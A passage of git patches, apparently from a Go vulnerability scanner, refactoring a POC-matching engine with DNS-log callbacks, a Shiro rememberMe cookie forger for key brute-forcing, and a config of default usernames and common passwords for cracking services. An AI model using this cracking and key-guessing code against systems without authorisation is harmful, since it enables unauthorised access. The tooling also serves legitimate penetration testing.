} else { - setMap = append(setMap, StrItem{item.Key, ""}) + value = item.Value[0] } + setMap = append(setMap, StrItem{item.Key, value}) } - c.UpdateCompileOptions(setMap) + config.UpdateCompileOptions(setMap) } - env, err := NewEnv(&c) + + // 创建执行环境 + env, err := NewEnv(&config) if err != nil { - fmt.Printf("[-] %s environment creation error: %s\n", p.Name, err) - return false, err, "" + return false, fmt.Errorf("[-] 创建%s的执行环境失败: %v", p.Name, err), "" } + + // 解析请求 req, err := ParseRequest(oReq) if err != nil { - fmt.Printf("[-] %s ParseRequest error: %s\n", p.Name, err) - return false, err, "" + return false, fmt.Errorf("[-] 解析%s的请求失败: %v", p.Name, err), "" } + + // 初始化变量映射 variableMap := make(map[string]interface{}) defer func() { variableMap = nil }() variableMap["request"] = req + + // 处理设置项 for _, item := range p.Set { - k, expression := item.Key, item.Value + key, expression := item.Key, item.Value if expression == "newReverse()" { if !Common.DnsLog { return false, nil, "" } - variableMap[k] = newReverse() + variableMap[key] = newReverse() continue } - err, _ = evalset(env, variableMap, k, expression) - if err != nil { - fmt.Printf("[-] %s evalset error: %v\n", p.Name, err) + if err, _ = evalset(env, variableMap, key, expression); err != nil { + Common.LogError(fmt.Sprintf("[-] 执行%s的设置项失败: %v", p.Name, err)) } } - success := false - //爆破模式,比如tomcat弱口令 + + // 处理爆破模式 if len(p.Sets) > 0 { - success, err = clusterpoc(oReq, p, variableMap, req, env) - return success, nil, "" + success, err := clusterpoc(oReq, p, variableMap, req, env) + return success, err, "" } + // 处理单个规则的函数 DealWithRule := func(rule Rules) (bool, error) { Headers := cloneMap(rule.Headers) - var ( - flag, ok bool - ) - for k1, v1 := range variableMap { - _, isMap := v1.(map[string]string) - if isMap { + + // 替换变量 + for varName, varValue := range variableMap { + if _, isMap := varValue.(map[string]string); isMap { continue } - value := fmt.Sprintf("%v", v1) - for k2, v2 := range Headers { - if !strings.Contains(v2, "{{"+k1+"}}") { - continue + strValue := fmt.Sprintf("%v", varValue) + + // 替换Header中的变量 + for headerKey, headerValue := range Headers { + if strings.Contains(headerValue, "{{"+varName+"}}") { + Headers[headerKey] = strings.ReplaceAll(headerValue, "{{"+varName+"}}", strValue) } - Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) } - rule.Path = strings.ReplaceAll(rule.Path, "{{"+k1+"}}", value) - rule.Body = strings.ReplaceAll(rule.Body, "{{"+k1+"}}", value) + + // 替换Path和Body中的变量 + rule.Path = strings.ReplaceAll(rule.Path, "{{"+varName+"}}", strValue) + rule.Body = strings.ReplaceAll(rule.Body, "{{"+varName+"}}", strValue) } + // 构建请求路径 if oReq.URL.Path != "" && oReq.URL.Path != "/" { req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) } else { req.Url.Path = rule.Path } - // 某些poc没有区分path和query,需要处理 req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") - //req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20") - newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body)) + // 创建新的请求 + newRequest, err := http.NewRequest( + rule.Method, + fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), + strings.NewReader(rule.Body), + ) if err != nil { - //fmt.Println("[-] newRequest error: ",err) - return false, err + return false, fmt.Errorf("创建新请求失败: %v", err) } + + // 设置请求头 newRequest.Header = oReq.Header.Clone() for k, v := range Headers { newRequest.Header.Set(k, v) } Headers = nil + + // 发送请求 resp, err := DoRequest(newRequest, rule.FollowRedirects) newRequest = nil if err != nil { return false, err } + variableMap["response"] = resp - // 先判断响应页面是否匹配search规则 + + // 执行搜索规则 if rule.Search != "" { result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body)) - if len(result) > 0 { // 正则匹配成功 - for k, v := range result { - variableMap[k] = v - } - } else { + if len(result) == 0 { return false, nil } + for k, v := range result { + variableMap[k] = v + } } + + // 执行表达式 out, err := Evaluate(env, rule.Expression, variableMap) if err != nil { return false, err } - //如果false不继续执行后续rule - // 如果最后一步执行失败,就算前面成功了最终依旧是失败 - flag, ok = out.Value().(bool) - if !ok { - flag = false + + if flag, ok := out.Value().(bool); ok { + return flag, nil } - return flag, nil + return false, nil } + // 处理规则组的函数 DealWithRules := func(rules []Rules) bool { - successFlag := false for _, rule := range rules { flag, err := DealWithRule(rule) - if err != nil || !flag { //如果false不继续执行后续rule - successFlag = false // 如果其中一步为flag,则直接break - break + if err != nil || !flag { + return false } - successFlag = true } - return successFlag + return true } + // 执行检测规则 + success := false if len(p.Rules) > 0 { success = DealWithRules(p.Rules) } else { for _, item := range p.Groups { name, rules := item.Key, item.Value - success = DealWithRules(rules) - if success { - return success, nil, name + if success = DealWithRules(rules); success { + return true, nil, name } } } @@ -198,18 +243,25 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { return success, nil, "" } +// doSearch 在响应体中执行正则匹配并提取命名捕获组 func doSearch(re string, body string) map[string]string { + // 编译正则表达式 r, err := regexp.Compile(re) if err != nil { - fmt.Println("[-] regexp.Compile error: ", err) + Common.LogError(fmt.Sprintf("正则表达式编译失败: %v", err)) return nil } + + // 执行正则匹配 result := r.FindStringSubmatch(body) names := r.SubexpNames() + + // 处理匹配结果 if len(result) > 1 && len(names) > 1 { paramsMap := make(map[string]string) for i, name := range names { if i > 0 && i <= len(result) { + // 特殊处理Cookie头 if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") { paramsMap[name] = optimizeCookies(result[i]) } else { @@ -222,36 +274,61 @@ func doSearch(re string, body string) map[string]string { return nil } -func optimizeCookies(rawCookie string) (output string) { - // Parse the cookies - parsedCookie := strings.Split(rawCookie, "; ") - for _, c := range parsedCookie { - nameVal := strings.Split(c, "=") - if len(nameVal) >= 2 { - switch strings.ToLower(nameVal[0]) { - case "expires", "max-age", "path", "domain", "version", "comment", "secure", "samesite", "httponly": - continue - } - output += fmt.Sprintf("%s=%s; ", nameVal[0], strings.Join(nameVal[1:], "=")) +// optimizeCookies 优化Cookie字符串,移除不必要的属性 +func optimizeCookies(rawCookie string) string { + var output strings.Builder + + // 解析Cookie键值对 + pairs := strings.Split(rawCookie, "; ") + for _, pair := range pairs { + nameVal := strings.SplitN(pair, "=", 2) + if len(nameVal) < 2 { + continue } + + // 跳过Cookie属性 + switch strings.ToLower(nameVal[0]) { + case "expires", "max-age", "path", "domain", + "version", "comment", "secure", "samesite", "httponly": + continue + } + + // 构建Cookie键值对 + if output.Len() > 0 { + output.WriteString("; ") + } + output.WriteString(nameVal[0]) + output.WriteString("=") + output.WriteString(strings.Join(nameVal[1:], "=")) } - return + return output.String() } +// newReverse 创建新的反连检测对象 func newReverse() *Reverse { + // 检查DNS日志功能是否启用 if !Common.DnsLog { return &Reverse{} } - letters := "1234567890abcdefghijklmnopqrstuvwxyz" + + // 生成随机子域名 + const ( + letters = "1234567890abcdefghijklmnopqrstuvwxyz" + subdomainLength = 8 + ) randSource := rand.New(rand.NewSource(time.Now().UnixNano())) - sub := RandomStr(randSource, letters, 8) - //if true { - // //默认不开启dns解析 - // return &Reverse{} - //} - urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain) - u, _ := url.Parse(urlStr) + subdomain := RandomStr(randSource, letters, subdomainLength) + + // 构建URL + urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain) + u, err := url.Parse(urlStr) + if err != nil { + Common.LogError(fmt.Sprintf("解析反连URL失败: %v", err)) + return &Reverse{} + } + + // 返回反连检测配置 return &Reverse{ Url: urlStr, Domain: u.Hostname(), @@ -260,270 +337,368 @@ func newReverse() *Reverse { } } +// clusterpoc 执行集群POC检测,支持批量参数组合测试 func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) { - var strMap StrMap - var tmpnum int - for i, rule := range p.Rules { + var strMap StrMap // 存储成功的参数组合 + var shiroKeyCount int // shiro key测试计数 + + // 遍历POC规则 + for ruleIndex, rule := range p.Rules { + // 检查是否需要进行参数Fuzz测试 if !isFuzz(rule, p.Sets) { + // 不需要Fuzz,直接发送请求 success, err = clustersend(oReq, variableMap, req, env, rule) if err != nil { return false, err } - if success { - continue - } else { + if !success { return false, err } + continue } + + // 生成参数组合 setsMap := Combo(p.Sets) - ruleHash := make(map[string]struct{}) - look: - for j, item := range setsMap { - //shiro默认只跑10key - if p.Name == "poc-yaml-shiro-key" && !Common.PocFull && j >= 10 { - if item[1] == "cbc" { + ruleHash := make(map[string]struct{}) // 用于去重的规则哈希表 + + // 遍历参数组合 + paramLoop: + for comboIndex, paramCombo := range setsMap { + // Shiro Key测试特殊处理:默认只测试10个key + if p.Name == "poc-yaml-shiro-key" && !Common.PocFull && comboIndex >= 10 { + if paramCombo[1] == "cbc" { continue } else { - if tmpnum == 0 { - tmpnum = j + if shiroKeyCount == 0 { + shiroKeyCount = comboIndex } - if j-tmpnum >= 10 { + if comboIndex-shiroKeyCount >= 10 { break } } } - rule1 := cloneRules(rule) - var flag1 bool - var tmpMap StrMap - var payloads = make(map[string]interface{}) - var tmpexpression string - for i, one := range p.Sets { - key, expression := one.Key, item[i] + + // 克隆规则以避免相互影响 + currentRule := cloneRules(rule) + var hasReplacement bool + var currentParams StrMap + payloads := make(map[string]interface{}) + var payloadExpr string + + // 计算所有参数的实际值 + for i, set := range p.Sets { + key, expr := set.Key, paramCombo[i] if key == "payload" { - tmpexpression = expression + payloadExpr = expr } - _, output := evalset1(env, variableMap, key, expression) + _, output := evalset1(env, variableMap, key, expr) payloads[key] = output } - for _, one := range p.Sets { - flag := false - key := one.Key + + // 替换规则中的参数 + for _, set := range p.Sets { + paramReplaced := false + key := set.Key value := fmt.Sprintf("%v", payloads[key]) - for k2, v2 := range rule1.Headers { - if strings.Contains(v2, "{{"+key+"}}") { - rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+key+"}}", value) - flag = true + + // 替换Header中的参数 + for headerKey, headerVal := range currentRule.Headers { + if strings.Contains(headerVal, "{{"+key+"}}") { + currentRule.Headers[headerKey] = strings.ReplaceAll(headerVal, "{{"+key+"}}", value) + paramReplaced = true } } - if strings.Contains(rule1.Path, "{{"+key+"}}") { - rule1.Path = strings.ReplaceAll(rule1.Path, "{{"+key+"}}", value) - flag = true + + // 替换Path中的参数 + if strings.Contains(currentRule.Path, "{{"+key+"}}") { + currentRule.Path = strings.ReplaceAll(currentRule.Path, "{{"+key+"}}", value) + paramReplaced = true } - if strings.Contains(rule1.Body, "{{"+key+"}}") { - rule1.Body = strings.ReplaceAll(rule1.Body, "{{"+key+"}}", value) - flag = true + + // 替换Body中的参数 + if strings.Contains(currentRule.Body, "{{"+key+"}}") { + currentRule.Body = strings.ReplaceAll(currentRule.Body, "{{"+key+"}}", value) + paramReplaced = true } - if flag { - flag1 = true + + // 记录替换的参数 + if paramReplaced { + hasReplacement = true if key == "payload" { - var flag2 bool - for k, v := range variableMap { - if strings.Contains(tmpexpression, k) { - flag2 = true - tmpMap = append(tmpMap, StrItem{k, fmt.Sprintf("%v", v)}) + // 处理payload的特殊情况 + hasVarInPayload := false + for varKey, varVal := range variableMap { + if strings.Contains(payloadExpr, varKey) { + hasVarInPayload = true + currentParams = append(currentParams, StrItem{varKey, fmt.Sprintf("%v", varVal)}) } } - if flag2 { + if hasVarInPayload { continue } } - tmpMap = append(tmpMap, StrItem{key, value}) + currentParams = append(currentParams, StrItem{key, value}) } } - if !flag1 { + + // 如果没有参数被替换,跳过当前组合 + if !hasReplacement { continue } - has := md5.Sum([]byte(fmt.Sprintf("%v", rule1))) - md5str := fmt.Sprintf("%x", has) - if _, ok := ruleHash[md5str]; ok { + + // 规则去重 + ruleDigest := md5.Sum([]byte(fmt.Sprintf("%v", currentRule))) + ruleMD5 := fmt.Sprintf("%x", ruleDigest) + if _, exists := ruleHash[ruleMD5]; exists { continue } - ruleHash[md5str] = struct{}{} - success, err = clustersend(oReq, variableMap, req, env, rule1) + ruleHash[ruleMD5] = struct{}{} + + // 发送请求并处理结果 + success, err = clustersend(oReq, variableMap, req, env, currentRule) if err != nil { return false, err } + if success { - if rule.Continue { + // 处理成功情况 + if currentRule.Continue { + // 特殊POC的输出处理 if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" { - Common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) + Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s", + req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) } else { - Common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap)) + Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v", + req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, currentParams)) } continue } - strMap = append(strMap, tmpMap...) - if i == len(p.Rules)-1 { - Common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) - //防止后续继续打印poc成功信息 + + // 记录成功的参数组合 + strMap = append(strMap, currentParams...) + if ruleIndex == len(p.Rules)-1 { + Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v", + req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) return false, nil } - break look + break paramLoop } } + if !success { break } if rule.Continue { - //防止后续继续打印poc成功信息 return false, nil } } + return success, nil } +// isFuzz 检查规则是否包含需要Fuzz测试的参数 func isFuzz(rule Rules, Sets ListMap) bool { - for _, one := range Sets { - key := one.Key - for _, v := range rule.Headers { - if strings.Contains(v, "{{"+key+"}}") { + // 遍历所有参数 + for _, param := range Sets { + key := param.Key + paramPattern := "{{" + key + "}}" + + // 检查Headers中是否包含参数 + for _, headerValue := range rule.Headers { + if strings.Contains(headerValue, paramPattern) { return true } } - if strings.Contains(rule.Path, "{{"+key+"}}") { + + // 检查Path中是否包含参数 + if strings.Contains(rule.Path, paramPattern) { return true } - if strings.Contains(rule.Body, "{{"+key+"}}") { + + // 检查Body中是否包含参数 + if strings.Contains(rule.Body, paramPattern) { return true } } return false } -func Combo(input ListMap) (output [][]string) { - if len(input) > 1 { - output = Combo(input[1:]) - output = MakeData(output, input[0].Value) - } else { - for _, i := range input[0].Value { - output = append(output, []string{i}) - } +// Combo 生成参数组合 +func Combo(input ListMap) [][]string { + if len(input) == 0 { + return nil } - return + + // 处理只有一个参数的情况 + if len(input) == 1 { + output := make([][]string, 0, len(input[0].Value)) + for _, value := range input[0].Value { + output = append(output, []string{value}) + } + return output + } + + // 递归处理多个参数的情况 + subCombos := Combo(input[1:]) + return MakeData(subCombos, input[0].Value) } -func MakeData(base [][]string, nextData []string) (output [][]string) { - for i := range base { - for _, j := range nextData { - output = append(output, append([]string{j}, base[i]...)) +// MakeData 将新的参数值与已有的组合进行组合 +func MakeData(base [][]string, nextData []string) [][]string { + // 预分配足够的空间 + output := make([][]string, 0, len(base)*len(nextData)) + + // 遍历已有组合和新参数值 + for _, existingCombo := range base { + for _, newValue := range nextData { + // 创建新组合 + newCombo := make([]string, 0, len(existingCombo)+1) + newCombo = append(newCombo, newValue) + newCombo = append(newCombo, existingCombo...) + output = append(output, newCombo) } } - return + + return output } +// clustersend 执行单个规则的HTTP请求和响应检测 func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) { - for k1, v1 := range variableMap { - _, isMap := v1.(map[string]string) - if isMap { + // 替换请求中的变量 + for varName, varValue := range variableMap { + // 跳过map类型的变量 + if _, isMap := varValue.(map[string]string); isMap { continue } - value := fmt.Sprintf("%v", v1) - for k2, v2 := range rule.Headers { - if strings.Contains(v2, "{{"+k1+"}}") { - rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) + + strValue := fmt.Sprintf("%v", varValue) + varPattern := "{{" + varName + "}}" + + // 替换Headers中的变量 + for headerKey, headerValue := range rule.Headers { + if strings.Contains(headerValue, varPattern) { + rule.Headers[headerKey] = strings.ReplaceAll(headerValue, varPattern, strValue) } } - rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value) - rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value) + + // 替换Path和Body中的变量 + rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), varPattern, strValue) + rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), varPattern, strValue) } + + // 构建完整请求路径 if oReq.URL.Path != "" && oReq.URL.Path != "/" { req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) } else { req.Url.Path = rule.Path } - // 某些poc没有区分path和query,需要处理 + + // URL编码处理 req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") - //req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20") - // - newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body)) + + // 创建新的HTTP请求 + reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path) + newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body)) if err != nil { - //fmt.Println("[-] newRequest error:",err) - return false, err + return false, fmt.Errorf("[-] 创建HTTP请求失败: %v", err) } + defer func() { newRequest = nil }() // 及时释放资源 + + // 设置请求头 newRequest.Header = oReq.Header.Clone() - for k, v := range rule.Headers { - newRequest.Header.Set(k, v) + for key, value := range rule.Headers { + newRequest.Header.Set(key, value) } + + // 发送请求 resp, err := DoRequest(newRequest, rule.FollowRedirects) - newRequest = nil if err != nil { - return false, err + return false, fmt.Errorf("[-] 发送请求失败: %v", err) } + + // 更新响应到变量映射 variableMap["response"] = resp - // 先判断响应页面是否匹配search规则 + + // 执行搜索规则 if rule.Search != "" { - result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body)) - if result != nil && len(result) > 0 { // 正则匹配成功 - for k, v := range result { - variableMap[k] = v + searchContent := GetHeader(resp.Headers) + string(resp.Body) + result := doSearch(rule.Search, searchContent) + + if result != nil && len(result) > 0 { + // 将搜索结果添加到变量映射 + for key, value := range result { + variableMap[key] = value } - //return false, nil } else { return false, nil } } + + // 执行CEL表达式 out, err := Evaluate(env, rule.Expression, variableMap) if err != nil { if strings.Contains(err.Error(), "Syntax error") { - fmt.Println(rule.Expression, err) + Common.LogError(fmt.Sprintf("[-] CEL表达式语法错误 [%s]: %v", rule.Expression, err)) } return false, err } - //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName())) - if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule - return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败 + + // 检查表达式执行结果 + if fmt.Sprintf("%v", out) == "false" { + return false, nil } - return true, err + + return true, nil } +// cloneRules 深度复制Rules结构体 +// 参数: +// - tags: 原始Rules结构体 +// 返回: 复制后的新Rules结构体 func cloneRules(tags Rules) Rules { - cloneTags := Rules{} - cloneTags.Method = tags.Method - cloneTags.Path = tags.Path - cloneTags.Body = tags.Body - cloneTags.Search = tags.Search - cloneTags.FollowRedirects = tags.FollowRedirects - cloneTags.Expression = tags.Expression - cloneTags.Headers = cloneMap(tags.Headers) - return cloneTags + return Rules{ + Method: tags.Method, + Path: tags.Path, + Body: tags.Body, + Search: tags.Search, + FollowRedirects: tags.FollowRedirects, + Expression: tags.Expression, + Headers: cloneMap(tags.Headers), + } } +// cloneMap 深度复制字符串映射 func cloneMap(tags map[string]string) map[string]string { - cloneTags := make(map[string]string) - for k, v := range tags { - cloneTags[k] = v + cloneTags := make(map[string]string, len(tags)) + for key, value := range tags { + cloneTags[key] = value } return cloneTags } -func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) { +// evalset 执行CEL表达式并处理特殊类型结果 +func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) { out, err := Evaluate(env, expression, variableMap) if err != nil { variableMap[k] = expression - } else { - switch value := out.Value().(type) { - case *UrlType: - variableMap[k] = UrlTypeToString(value) - case int64: - variableMap[k] = int(value) - default: - variableMap[k] = fmt.Sprintf("%v", out) - } + return err, expression } - return err, fmt.Sprintf("%v", variableMap[k]) + + // 根据不同类型处理输出 + switch value := out.Value().(type) { + case *UrlType: + variableMap[k] = UrlTypeToString(value) + case int64: + variableMap[k] = int(value) + default: + variableMap[k] = fmt.Sprintf("%v", out) + } + + return nil, fmt.Sprintf("%v", variableMap[k]) } -func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) { +// evalset1 执行CEL表达式的简化版本 +func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) { out, err := Evaluate(env, expression, variableMap) if err != nil { variableMap[k] = expression @@ -533,6 +708,7 @@ func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expres return err, fmt.Sprintf("%v", variableMap[k]) } +// CheckInfoPoc 检查POC信息并返回别名 func CheckInfoPoc(infostr string) string { for _, poc := range info.PocDatas { if strings.Contains(infostr, poc.Name) { @@ -542,11 +718,12 @@ func CheckInfoPoc(infostr string) string { return "" } -func GetHeader(header map[string]string) (output string) { +// GetHeader 将HTTP头转换为字符串格式 +func GetHeader(header map[string]string) string { + var builder strings.Builder for name, values := range header { - line := fmt.Sprintf("%s: %s\n", name, values) - output = output + line + builder.WriteString(fmt.Sprintf("%s: %s\n", name, values)) } - output = output + "\r\n" - return + builder.WriteString("\r\n") + return builder.String() } From 2ce84dc517a65527ab1774f01f0ff268e3a0191b Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:50:05 +0800 Subject: [PATCH 042/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Shiro.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- WebScan/lib/Shiro.go | 69 +++++++++++++++++++++++++++++++------------- 1 file changed, 49 insertions(+), 20 deletions(-) diff --git a/WebScan/lib/Shiro.go b/WebScan/lib/Shiro.go index 4e3503d..ce24978 100644 --- a/WebScan/lib/Shiro.go +++ b/WebScan/lib/Shiro.go @@ -12,62 +12,91 @@ import ( ) var ( + // CheckContent 是经过base64编码的Shiro序列化对象 CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==" - Content, _ = base64.StdEncoding.DecodeString(CheckContent) + // Content 是解码后的原始内容 + Content, _ = base64.StdEncoding.DecodeString(CheckContent) ) +// Padding 对明文进行PKCS7填充 func Padding(plainText []byte, blockSize int) []byte { - //计算要填充的长度 - n := (blockSize - len(plainText)%blockSize) - //对原来的明文填充n个n - temp := bytes.Repeat([]byte{byte(n)}, n) - plainText = append(plainText, temp...) - return plainText + // 计算需要填充的长度 + paddingLength := blockSize - len(plainText)%blockSize + + // 使用paddingLength个paddingLength值进行填充 + paddingText := bytes.Repeat([]byte{byte(paddingLength)}, paddingLength) + + return append(plainText, paddingText...) } +// GetShrioCookie 获取加密后的Shiro Cookie值 func GetShrioCookie(key, mode string) string { if mode == "gcm" { return AES_GCM_Encrypt(key) - } else { - //cbc - return AES_CBC_Encrypt(key) } + return AES_CBC_Encrypt(key) } -//AES CBC加密后的payload +// AES_CBC_Encrypt 使用AES-CBC模式加密 func AES_CBC_Encrypt(shirokey string) string { + // 解码密钥 key, err := base64.StdEncoding.DecodeString(shirokey) if err != nil { return "" } + + // 创建AES加密器 block, err := aes.NewCipher(key) if err != nil { return "" } - Content = Padding(Content, block.BlockSize()) - iv := uuid.NewV4().Bytes() //指定初始向量vi,长度和block的块尺寸一致 - blockMode := cipher.NewCBCEncrypter(block, iv) //指定CBC分组模式,返回一个BlockMode接口对象 - cipherText := make([]byte, len(Content)) - blockMode.CryptBlocks(cipherText, Content) //加密数据 - return base64.StdEncoding.EncodeToString(append(iv[:], cipherText[:]...)) + + // PKCS7填充 + paddedContent := Padding(Content, block.BlockSize()) + + // 生成随机IV + iv := uuid.NewV4().Bytes() + + // 创建CBC加密器 + blockMode := cipher.NewCBCEncrypter(block, iv) + + // 加密数据 + cipherText := make([]byte, len(paddedContent)) + blockMode.CryptBlocks(cipherText, paddedContent) + + // 拼接IV和密文并base64编码 + return base64.StdEncoding.EncodeToString(append(iv, cipherText...)) } -//AES GCM 加密后的payload shiro 1.4.2版本更换为了AES-GCM加密方式 +// AES_GCM_Encrypt 使用AES-GCM模式加密(Shiro 1.4.2+) func AES_GCM_Encrypt(shirokey string) string { + // 解码密钥 key, err := base64.StdEncoding.DecodeString(shirokey) if err != nil { return "" } + + // 创建AES加密器 block, err := aes.NewCipher(key) if err != nil { return "" } + + // 生成16字节随机数作为nonce nonce := make([]byte, 16) - _, err = io.ReadFull(rand.Reader, nonce) + if _, err := io.ReadFull(rand.Reader, nonce); err != nil { + return "" + } + + // 创建GCM加密器 + aesgcm, err := cipher.NewGCMWithNonceSize(block, 16) if err != nil { return "" } - aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16) + + // 加密数据 ciphertext := aesgcm.Seal(nil, nonce, Content, nil) + + // 拼接nonce和密文并base64编码 return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...)) } From 38ea172e268907ac364c20cc99bbe77a0304e3bd Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:52:11 +0800 Subject: [PATCH 043/188] =?UTF-8?q?refacor:=20=E5=A4=A7=E5=B0=8F=E5=86=99?= =?UTF-8?q?=E6=95=8F=E6=84=9F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 107 +++++++++++++ Common/Flag.go | 94 +++++++++++ Common/Log.go | 172 ++++++++++++++++++++ Common/Proxy.go | 78 +++++++++ Plugins/FcgiScan.go | 376 ++++++++++++++++++++++++++++++++++++++++++++ 5 files changed, 827 insertions(+) create mode 100644 Common/Config.go create mode 100644 Common/Flag.go create mode 100644 Common/Log.go create mode 100644 Common/Proxy.go create mode 100644 Plugins/FcgiScan.go diff --git a/Common/Config.go b/Common/Config.go new file mode 100644 index 0000000..6dd46ae --- /dev/null +++ b/Common/Config.go @@ -0,0 +1,107 @@ +package Common + +var version = "1.8.4" +var Userdict = map[string][]string{ + "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, + "mysql": {"root", "mysql"}, + "mssql": {"sa", "sql"}, + "smb": {"administrator", "admin", "guest"}, + "rdp": {"administrator", "admin", "guest"}, + "postgresql": {"postgres", "admin"}, + "ssh": {"root", "admin"}, + "mongodb": {"root", "admin"}, + "oracle": {"sys", "system", "admin", "test", "web", "orcl"}, +} + +var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} + +var PortGroup = map[string]string{ + "ftp": "21", + "ssh": "22", + "findnet": "135", + "netbios": "139", + "smb": "445", + "mssql": "1433", + "oracle": "1521", + "mysql": "3306", + "rdp": "3389", + "psql": "5432", + "redis": "6379", + "fcgi": "9000", + "mem": "11211", + "mgo": "27017", + "ms17010": "445", + "cve20200796": "445", + "service": "21,22,135,139,445,1433,1521,3306,3389,5432,6379,9000,11211,27017", + "db": "1433,1521,3306,5432,6379,11211,27017", + "web": 